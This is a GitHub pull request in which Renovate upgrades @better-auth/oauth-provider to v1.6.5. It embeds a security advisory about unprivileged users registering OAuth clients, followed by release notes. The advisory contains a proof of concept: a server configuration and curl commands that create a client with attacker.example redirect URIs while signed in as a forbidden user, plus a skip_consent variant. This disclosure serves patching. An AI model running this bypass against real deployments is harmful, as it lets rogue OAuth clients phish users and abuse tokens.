Skip to content

chore(deps): update dependency @better-auth/oauth-provider to v1.6.5 [security]#20

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-better-auth-oauth-provider-vulnerability
Open

chore(deps): update dependency @better-auth/oauth-provider to v1.6.5 [security]#20
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-better-auth-oauth-provider-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Apr 18, 2026

This PR contains the following updates:

Package Type Update Change OpenSSF
@better-auth/oauth-provider (source) pnpm.catalog.auth patch 1.6.01.6.5 OpenSSF Scorecard

OAuth 2.1 Provider: Unprivileged users can register OAuth clients

GHSA-xr8f-h2gw-9xh6

More information

Details

Summary

An authorization bypass in the OAuth provider allows any authenticated low-privilege user to create OAuth clients even when the deployment configures clientPrivileges to restrict client creation. The option contract explicitly includes a create action, but the create paths never invoke that callback, so applications that rely on clientPrivileges for RBAC can be silently misconfigured into allowing unauthorized client registration.

Details

The OAuth provider exposes a clientPrivileges authorization hook whose documented action set includes create:
https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/types/index.ts#L209-L214
However, the two client-creation entry points for the adminCreateOAuthClient and the createOAuthClient, both delegate directly to createOAuthClientEndpoint without performing a clientPrivileges check.

In contrast, the non-create operations do enforce clientPrivileges in getClientEndpoint, getClientsEndpoint, deleteClientEndpoint, updateClientEndpoint and rotateClientSecretEndpoint. Those paths call the hook with read, list, delete, update, and rotate, but there is no corresponding create authorization check before persisting a new oauthClient record.

As a result, an application may reasonably configure clientPrivileges to allow only certain users or roles to manage OAuth clients, while any ordinary authenticated user can still call the create-client route successfully. This breaks the documented security boundary and enables unauthorized creation of OAuth clients with attacker-controlled redirect URIs and metadata.

If the server-only adminCreateOAuthClient endpoint is accidentally exposed to low-privilege authenticated users, an attacker can create OAuth clients with skip_consent enabled, which may allow silent consent bypass for that client and increases phishing and token-abuse risk.

PoC

Use the following setup to reproduce the authorization bypass in a minimal environment.

  1. Start a Better Auth server with oauthProvider and a restrictive clientPrivileges policy that should only allow one user to create OAuth clients.
  2. Create two users:
    • allowed user
    • forbidden user
  3. Sign in as the forbidden user and call the authenticated OAuth client creation endpoint.
  4. Observe that client creation succeeds even though policy should deny it.

Server configuration example:

import { createServer } from "node:http";
import { oauthProvider } from "@​better-auth/oauth-provider";
import { betterAuth } from "better-auth";
import { toNodeHandler } from "better-auth/node";
import { jwt } from "better-auth/plugins";

const PORT = 3000;
const BASE_URL = `http://localhost:${PORT}`;
const ALLOWED_EMAIL = "allowed@test.com";

const auth = betterAuth({
	baseURL: BASE_URL,
	emailAndPassword: {
		enabled: true,
	},
	plugins: [
		oauthProvider({
			loginPage: "/login",
			consentPage: "/consent",
			silenceWarnings: {
				oauthAuthServerConfig: true,
				openidConfig: true,
			},
			clientPrivileges({ user }) {
				return user?.email === ALLOWED_EMAIL;
			},
		}),
		jwt(),
	],
});

const authHandler = toNodeHandler(auth.handler);

const server = createServer(async (req, res) => {
	const url = req.url || "/";

	if (url.startsWith("/api/auth")) {
		await authHandler(req, res);
		return;
	}

	if (url === "/" || url === "/health") {
		res.writeHead(200, { "content-type": "application/json" });
		res.end(
			JSON.stringify({
				status: "ok",
				message: "OAuth Provider clientPrivileges PoC server is running",
				baseURL: BASE_URL,
				authBasePath: "/api/auth",
			})
		);
		return;
	}

	if (url === "/login" || url === "/consent") {
		res.writeHead(200, { "content-type": "text/plain; charset=utf-8" });
		res.end("Placeholder page for oauthProvider config");
		return;
	}

	res.writeHead(404, { "content-type": "application/json" });
	res.end(JSON.stringify({ error: "not_found" }));
});

server.listen(PORT, () => {
	console.log(`PoC server running on ${BASE_URL}`);
	console.log(`Auth endpoints: ${BASE_URL}/api/auth/*`);
	console.log("Use sign-up/email and sign-in/email to create sessions.");
});

Sign up forbidden user:

curl -i -X POST http://localhost:3000/api/auth/sign-up/email \
  -H "content-type: application/json" \
  -d '{
    "email":"forbidden@test.com",
    "password":"test123456",
    "name":"forbidden user"
  }'

Sign in with forbidden user (save cookies to txt file):

curl -i -X POST http://localhost:3000/api/auth/sign-in/email \
  -H "content-type: application/json" \
  -H "origin: http://localhost:3000" \
  -c cookies.txt \
  -d '{
    "email":"forbidden@test.com",
    "password":"test123456"
  }'

Attempt unauthorized client creation as forbidden user:

curl -i -X POST http://localhost:3000/api/auth/oauth2/create-client \
  -H "content-type: application/json" \
  -H "origin: http://localhost:3000" \
  -b cookies.txt \
  -d '{
    "client_name":"attacker-client",
    "client_uri":"https://attacker.example/app",
    "logo_uri":"https://attacker.example/logo.png",
    "contacts":["security@attacker.example"],
    "tos_uri":"https://attacker.example/terms",
    "policy_uri":"https://attacker.example/policy",
    "redirect_uris":["https://attacker.example/callback"],
    "grant_types":["authorization_code"],
    "response_types":["code"],
    "token_endpoint_auth_method":"client_secret_basic",
    "type":"web"
  }'

Expected result:
HTTP 401 Unauthorized, because clientPrivileges denies create for forbidden@test.com.

Actual result:
Client is created successfully (HTTP 200 with client_id and client_secret), demonstrating that create authorization is not enforced through clientPrivileges on this path.

Optional high-impact variant (only if server-only endpoint is exposed by deployment):
Call the admin create endpoint and set skip_consent true to create a client that may bypass user consent flow for that client.

Impact

This is an authorization bypass (broken access control / RBAC enforcement gap) affecting applications that use oauth-provider and rely on clientPrivileges to restrict who can register OAuth clients.

Potential impact includes:

  • Unauthorized registration of attacker-controlled OAuth clients.
  • Creation of clients with attacker-chosen redirect URIs and metadata.
  • Increased risk of phishing/social engineering through rogue first-party-looking clients.
  • Abuse of trust assumptions in downstream OAuth/OIDC flows that treat registered clients as vetted.
    Severity is deployment-dependent, but security-relevant by default because a documented access-control hook is bypassed for client creation.

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

better-auth/better-auth (@​better-auth/oauth-provider)

v1.6.5

Compare Source

Patch Changes

v1.6.4

Compare Source

Patch Changes

v1.6.3

Compare Source

Patch Changes
  • #​9123 e2e25a4 Thanks @​gustavovalverde! - fix(oauth-provider): override confidential auth methods to public in unauthenticated DCR

    When allowUnauthenticatedClientRegistration is enabled, unauthenticated DCR
    requests that specify client_secret_post, client_secret_basic, or omit
    token_endpoint_auth_method (which defaults to client_secret_basic per
    RFC 7591 §2) are
    now silently overridden to token_endpoint_auth_method: "none" (public client)
    instead of being rejected with HTTP 401.

    This follows RFC 7591 §3.2.1,
    which allows the server to "reject or replace any of the client's requested
    metadata values submitted during the registration and substitute them with
    suitable values." The registration response communicates the actual method
    back to the client, allowing compliant clients to adjust.

    This fixes interoperability with real-world MCP clients (Claude, Codex, Factory
    Droid, and others) that send token_endpoint_auth_method: "client_secret_post"
    in their DCR payload because the server metadata advertises it in
    token_endpoint_auth_methods_supported.

    Closes #​8588

  • #​9131 5142e9c Thanks @​gustavovalverde! - harden dynamic baseURL handling for direct auth.api.* calls and plugin metadata helpers

    Direct auth.api.* calls

    • Throw APIError with a clear message when the baseURL can't be resolved (no source and no fallback), instead of leaving ctx.context.baseURL = "" for downstream plugins to crash on.
    • Convert allowedHosts mismatches on the direct-API path to APIError.
    • Honor advanced.trustedProxyHeaders on the dynamic path (default true, unchanged). Previously x-forwarded-host / -proto were unconditionally trusted with allowedHosts; they now go through the same gate as the static path. The default flip to false ships in a follow-up PR.
    • resolveRequestContext rehydrates trustedProviders and cookies per call (in addition to trustedOrigins). User-defined trustedOrigins(req) / trustedProviders(req) callbacks receive a Request synthesized from forwarded headers when no full Request is available.
    • Infer http for loopback hosts (localhost, 127.0.0.1, [::1], 0.0.0.0) on the headers-only protocol fallback, so local-dev calls don't silently resolve to https://localhost:3000.
    • hasRequest uses isRequestLike, which now rejects objects that spoof Symbol.toStringTag without a real url / headers.get shape.

    Plugin metadata helpers

    • oauthProviderAuthServerMetadata, oauthProviderOpenIdConfigMetadata, oAuthDiscoveryMetadata, and oAuthProtectedResourceMetadata forward the incoming request to their chained auth.api calls, so issuer and discovery URLs reflect the request host on dynamic configs.
    • withMcpAuth forwards the incoming request to getMcpSession, threads trustedProxyHeaders, and emits a bare Bearer challenge when baseURL can't be resolved (instead of Bearer resource_metadata="undefined/...").
    • metadataResponse in @better-auth/oauth-provider normalizes headers via new Headers() so callers can pass Headers, tuple arrays, or records without silently dropping entries.
  • #​9118 314e06f Thanks @​gustavovalverde! - feat(oauth-provider): add customTokenResponseFields callback and Zod validation for authorization codes

    Add customTokenResponseFields callback to OAuthOptions for injecting custom fields into token endpoint responses across all grant types. Standard OAuth fields (access_token, token_type, etc.) cannot be overridden. Follows the same pattern as customAccessTokenClaims and customIdTokenClaims.

    Authorization code verification values are now validated with a Zod schema at deserialization, consistently returning invalid_verification errors for malformed or corrupted values instead of potential 500s.

  • Updated dependencies [5142e9c, 484ce6a, f875897, 6ce30cf, f6428d0, 9a6d475, 513dabb, c5066fe, 5f84335]:

v1.6.2

Compare Source

Patch Changes
  • #​9060 4c829bf Thanks @​gustavovalverde! - fix(oauth-provider): preserve multi-valued query params through prompt redirects

    • serializeAuthorizationQuery now uses params.append() for array values instead of String(array) which collapsed them into a single comma-joined entry.
    • deleteFromPrompt return type widens from Record<string, string> to Record<string, string | string[]>. The previous type was incorrect — Object.fromEntries() silently dropped duplicate keys, so the narrower type only held because the data was being corrupted.
  • #​8998 c6922dc Thanks @​dvanmali! - Typescript specifies skip_consent type never and errors through zod

  • Updated dependencies [9deb793, 2cbcb9b, b20fa42, 608d8c3, 8409843, e78a7b1]:

v1.6.1

Compare Source

Patch Changes

Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

…[security]

| datasource | package                     | from  | to    |
| ---------- | --------------------------- | ----- | ----- |
| npm        | @better-auth/oauth-provider | 1.6.0 | 1.6.5 |
@github-actions
Copy link
Copy Markdown

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

Copy link
Copy Markdown

@cubic-dev-ai cubic-dev-ai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found across 1 file

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants